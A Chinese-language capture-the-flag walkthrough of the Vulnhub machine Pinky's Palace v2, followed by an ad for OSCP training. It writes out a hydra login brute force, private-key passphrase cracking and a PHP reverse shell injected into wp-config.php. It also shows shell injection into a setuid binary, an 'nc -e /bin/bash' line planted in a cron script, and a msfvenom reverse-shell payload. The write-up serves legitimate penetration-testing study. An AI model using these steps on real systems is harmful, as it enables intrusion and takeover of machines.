一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
先根据要求输入以下命令
echo 192.168.10.18 pinkydb | sudo tee -a /etc/hosts
nmap -sS -sV -T5 -p- 192.168.10.18 -A
二、进行目录枚举
dirb http://192.168.10.18
发现一个secret目录
bambam.txt文档里有
nikto -h http://192.168.10.18
三、进入网页
有登录界面
wpscan --url http://192.168.10.18 --disable-tls-checks
wpscan --url http://192.168.10.18 --passwords /usr/share/wordlists/rockyou.txt --usernames pinky1337
进行用户枚举
wpscan --url http://192.168.10.18 --enumerate u
发现用户pinky1337
没有什么突破口,但是看到之前的bambam.txt文档,这里密码也尝试过了,并且合之前nmap扫描发现有端口被禁
knockd
端口敲门的原理:
-
初始状态:防火墙默认封锁外部对内部服务端口的访问。
-
敲门阶段:合法用户按预定顺序和时间间隔向目标主机一系列端口发数据包,守护进程记录信息。
-
验证阶段:守护进程将记录信息与预设规则比对,匹配则触发防火墙临时开放指定服务端口。
-
访问阶段:用户在开放端口的时间内建立连接访问服务,过后端口关闭。用
8890
7000
666
依次去敲门,端口敲门规则中指定的端口号 8890,7000,666
但是这里我们也不知道哪个在前哪个在后
穷举所有可能的端口顺序组合( 3 个端口有 3! = 6
种排列)
8890 7000 6668890 666 70007000 8890 6667000 666 8890666 8890 7000666 7000 8890
nc 192.168.10.18 8890
nc 192.168.10.18 7000
nc 192.168.10.18 666
nc 192.168.10.18 7000
nc 192.168.10.18 666
nc 192.168.10.18 8890
nmap -sV -p- 192.168.10.18
ok,其他的端口也扫到了,但是最好写一个脚本,平时都是可以用,如果有10个就完dam
import itertools
import socket
import time
ports = [8890, 7000, 666]
target_check_port = 22 # 假设敲门成功后开启的端口
target_ip = "192.168.10.18"
def knock(sequence):
for port in sequence:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target_ip, port))
s.close()
except:
pass
time.sleep(1) # 等待服务响应
# 检测目标端口是否开放
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target_ip, target_check_port))
s.close()
print(f"[+] Success! Sequence: {sequence}")
return True
except:
print(f"[-] Failed: {sequence}")
return False
# 生成所有排列组合(3! = 6 种)
for sequence in itertools.permutations(ports):
if knock(sequence):
break
python3 knock.py
根据已知的用户名写一个user.txt
#user.txt
pinky
pinkybd
admin
pinky1337
root
hydra爆破,尝试了fasttrack.txt和rockyou.txt都没找到密码
此命令的作用是从 http://pinkydb
网站提取单词,生成一个自定义字典文件,并且将这些单词保存到 pass.txt
文件中
cewl -d 1 -w pass.txt http://pinkydb
-
-d 1
: -
-d
代表深度(depth)。它规定了爬虫在网站内部的爬行深度。 -
这里设置为
1
,意味着爬虫只会在当前页面提取单词,不会跟进页面中的链接去访问其他页面。 -
-w pass.txt
: -
-w
表示写入(write)。它指定了将提取到的单词保存到哪个文件。 -
pass.txt
就是存储提取结果的文件名。若该文件不存在,cewl
会创建它;若已存在,文件内容会被覆盖。 -
http://pinkydb
:这是cewl
要爬取的目标网站的 URL。
sudo hydra -L user.txt -P pass.txt -s 7654 pinkydb http-post-form '/login.php:user=^USER^&pass=^PASS^:Invalid'
login: pinky password: Passione
给了一个私钥
cat id_rsa
生成哈希文件
使用 ssh2john.py
转换私钥
ssh2john id_rsa > id_rsa_hash.txt
ssh2john
的作用是把 SSH 私钥文件转换为 John the Ripper 可以识别的哈希格式。这样转换后,就能用 John the Ripper 对 SSH 私钥的密码进行破解了。
破解私钥密码
使用john
爆破一下
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
john
工具会使用指定的字典文件中的密码来尝试与这些哈希值匹配,以破解出对应的密码
secretz101
ssh登录
chmod 600 id_rsa
ssh -i id_rsa [email protected] -p 4655
#输入secretz101
四、提权
stefano
进行信息收集,看到note.txt里Pinky made me this program so I can easily send messages to him.
Pinky为我制作了这个程序,这样我就可以轻松地向他发送消息。
发现这个qsub只有执行的权限
但是发送信息需要密码Passione密码也不对
find / -perm -4000 -print 2>/dev/null
尝试切换用户也不行
查看定时任务
ls -alh /etc/*cron*
find / -name logrotate* 2>/dev/null
没什么利用的地方
www-data
但是看到前面有www-data用户,去网站试一下能不能反弹shell
尝试目录遍历,成功,但是这里并没有上传点,返回查看配置文件看看能不能直接写进去
# /var/www/html 查看一下可写文件
find . -writable
# ./apache/wp-config.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/8888 0>&1'");?>
访问http://pinkydb/wp-config.php,getshell
python -c "import pty; pty.spawn('/bin/bash');"
现在可以将qsub下载下来进行反汇编
python -m SimpleHTTPServer 4444
wget http://pinkydb:4444/qsub
Pinky
下好之后放到IDA反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+10h] [rbp-50h] BYREF
__uid_t ruid; // [rsp+50h] [rbp-10h]
__gid_t rgid; // [rsp+54h] [rbp-Ch]
char *s2; // [rsp+58h] [rbp-8h]
if ( argc <= 1 )
{
printf("%s <Message>n", *argv);
exit(0);
}
s2 = getenv("TERM");
printf("[+] Input Password: ");
__isoc99_scanf("%s", s);
if ( strlen(s) > 0x28 )
{
puts("Bad hacker! Go away!");
exit(0);
}
if ( strcmp(s, s2) )
{
puts("[!] Incorrect Password!");
exit(0);
}
printf("[+] Welcome to Question Submit!");
rgid = getegid();
ruid = geteuid();
setresgid(rgid, rgid, rgid);
setresuid(ruid, ruid, ruid);
send(argv[1]);
return 0;
}
验证用户输入的密码,若密码验证通过,就会调用 send
函数发送命令行参数所指定的消息
接收用户输入并与环境变量 TERM
的值进行比对,若匹配则执行后续操作
定义了一个名为 send 的函数,主要功能是将传入的字符串追加到指定文件 /home/pinky/messages/stefano_msg.txt 中,借助 asprintf 函数构建一个系统命令字符串,再使用 system 函数来执行该命令
echo$TERM
# 得到密码 xterm-256color
./qsub ';/bin/bash; #'
但是id查看后发现还是stefano组,有两种方法,自己在本地生成私钥和公钥,将公钥复制写入pinky用户的.ssh文件,将公钥改为authorized_keys,再拿本地的私钥连就欧克,但是要注意权限问题
或者直接newgrp
newgrp
是一个在 Unix 和类 Unix 系统(如 Linux)中使用的命令,主要用于改变当前用户的有效组 ID
newgrp
demon用户(定时任务)
查看历史命令
cat .bash_history
发现有一个backup.sh,编辑完后切换为了demon用户
看到有些师傅是直接找有哪些可写入的文件和目录,可以记下来
2>/dev/null find / -writable | grep -Ev '/proc|/sys|/run|/dev'
在整个文件系统中查找当前用户具有写入权限的文件和目录,同时忽略查找过程中产生的错误信息,并且过滤掉包含 /proc
、/sys
、/run
和 /dev
这些系统目录的结果。
查看backup.sh的权限,zhegewenjiandemon用户的pinky权限都有
#直接写入
nc -e /bin/bash 192.168.10.11 8888
等个2分钟3分钟的样子
建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
2>/dev/null find / -writable | grep -Ev '/proc|/sys|/run|/dev'
cd /daemon
进入demon目录后发现有一个panel文件,执行后就玩damn
将文件传过来反汇编看一下
# kali
nc -lvnp 3333 > panel
# demon
nc 192.168.10.11 3333 < panel
TCP 服务器程序,主要功能是创建一个监听特定端口的后门(Backdoor),接收客户端连接并处理命令。代码通过 fork
实现父子进程分离(父进程等待子进程退出,子进程作为实际服务器运行),最终形成一个长期运行的守护进程式服务器。
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
_BYTE buf[4108]; // [rsp+0h] [rbp-1050h] BYREF
socklen_t addr_len; // [rsp+100Ch] [rbp-44h] BYREF
struct sockaddr v5; // [rsp+1010h] [rbp-40h] BYREF
sockaddr addr; // [rsp+1020h] [rbp-30h] BYREF
int optval; // [rsp+103Ch] [rbp-14h] BYREF
int v8; // [rsp+1040h] [rbp-10h]
int fd; // [rsp+1044h] [rbp-Ch]
int v10; // [rsp+1048h] [rbp-8h]
while ( fork() )
wait(0LL);
v10 = 1;
optval = 1;
fd = socket(2, 1, 0);
if ( fd == -1 )
fatal("[-] Fail in socket");
if ( setsockopt(fd, 1, 2, &optval, 4u) == -1 )
fatal("setting sock options");
addr.sa_family = 2;
*(_WORD *)addr.sa_data = htons(0x7A69u);
*(_DWORD *)&addr.sa_data[2] = 0;
memset(&addr.sa_data[6], 0, 8uLL);
if ( bind(fd, &addr, 0x10u) == -1 )
fatal("binding to socket");
if ( listen(fd, 5) == -1 )
fatal("listening");
addr_len = 16;
v8 = accept(fd, &v5, &addr_len);
if ( v8 == -1 )
fatal("new sock failed");
send(v8, "[+] Welcome to The Daemon [+]n", 0x1FuLL, 0);
send(v8, "This is soon to be our backdoorn", 0x21uLL, 0);
send(v8, "into Pinky's Palace.n=> ", 0x19uLL, 0);
v10 = recv(v8, buf, 0x1000uLL, 0);
handlecmd(buf, (unsigned int)v8);
close(v8);
exit(0);
}
这是一个简单的 TCP 后门程序
-
作为守护进程运行,监听端口 31337;
-
接受客户端连接,发送欢迎信息,接收命令并处理;
-
设计上通过
fork
分离进程,避免阻塞主线程(尽管此处仅处理一次连接后退出,实际可能需要循环)。
这里存在strcpy函数,可能有缓冲区溢出
先给panel权限
chmod 777 panel
缓冲区溢出
需要使用gdb进行调试,最好把kali上的一个pwn环境搭好,pwndbg,peda插件,pwntools,或者直接就拿配好的ubuntu机子去打
git clone https://github.com/longld/peda.git ~/peda
echo"source ~/peda/peda.py" >> ~/.gdbinit
关键输出是 fork
后子进程被分离,说明程序可能在后台运行(如守护进程或后门)
看了一个师傅的是这样子解释的
每次nc连接输入后,程序会再次创建一个子进程。gdb默认跟踪的是父进程,会看不到子进程的具体内容。所以让gdb跟踪子进程,再将父进程设置为暂停状态,就不用反复关进程了
set follow-fork-mode child
set detach-on-fork off
先查看有哪些函数
info function
run
运行程序,查看一下是否运行了:netstat -antlp
如果还是失败,关闭终端
pkill -9 panel;pkill -i panel
handlecmd函数
handlecmd
函数的核心功能是将客户端输入的 buf
内容复制到栈上的局部缓冲区,然后通过 send
回传。存在的主要问题是 未检查 strcpy
的源长度,存在缓冲区溢出漏洞。
disassemble handlecmd
进行断点
第 1 条指令的地址是 0x400964
(标记为 <+0>
,即偏移 0),最后一条 ret
指令的地址是 0x4009aa
(标记为 <+70>
)
这里不直接写返回地址是因为汇编的相对思维,因为地址是有可能变化的,handlecmd+70
表示 “从 handlecmd
函数的起点出发,往后走 70 个字节”,无论函数被加载到内存的哪个位置(比如明天加载到 0x500964
),这个相对关系始终成立
b *handlecmd+70
在 ret
指令处断点,可直接查看栈中的返回地址是否被篡改
#gdb
run
#kali
#然后复制下来再在kali上进行
python3 -c 'print("A"*200)'|nc localhost 31337
0x00000000004009aa in handlecmd ()
msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.10.11 LPORT=6666 -b 'x00' -f python
生成shellcode就构造python脚本,还是水平不够,练少了,这里的缓冲区溢出没搞明白,等再学学回来解决,这几个师傅的文章写的很好,可以去看看,很详细
https://blog.csdn.net/qq_34801745/article/details/104070421
https://hgbe02.github.io/Vulnhub/Pinky's%20PalaceV2.html#gdb-peda-%E5%88%86%E6%9E%90
https://xz.aliyun.com/news/12656
END
oscp
有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Pinkys Palace v2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论